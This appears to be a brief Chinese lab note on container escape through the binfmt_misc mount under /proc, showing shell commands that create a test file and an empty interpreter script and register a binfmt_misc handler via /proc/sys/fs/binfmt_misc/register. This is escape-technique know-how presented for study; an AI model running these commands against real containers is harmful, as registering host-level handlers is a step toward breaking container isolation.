前言
对于/proc下有很多挂载会导致容器逃逸,其中binfmt_misc就是一种可以利用的逃逸挂载
binfmt_mics
实验
touch test_fmt_intp
echo aaa > test_fmt
echo '#!/bin/sh' > test_fmt_intp
echo '' >> test_fmt_intp
chmod +x test_fmt_intp
echo ':test_fmt:M::\x61\x61\x61::/home/test/test_fmt_intp:' > /proc/sys/fs/binfmt_misc/register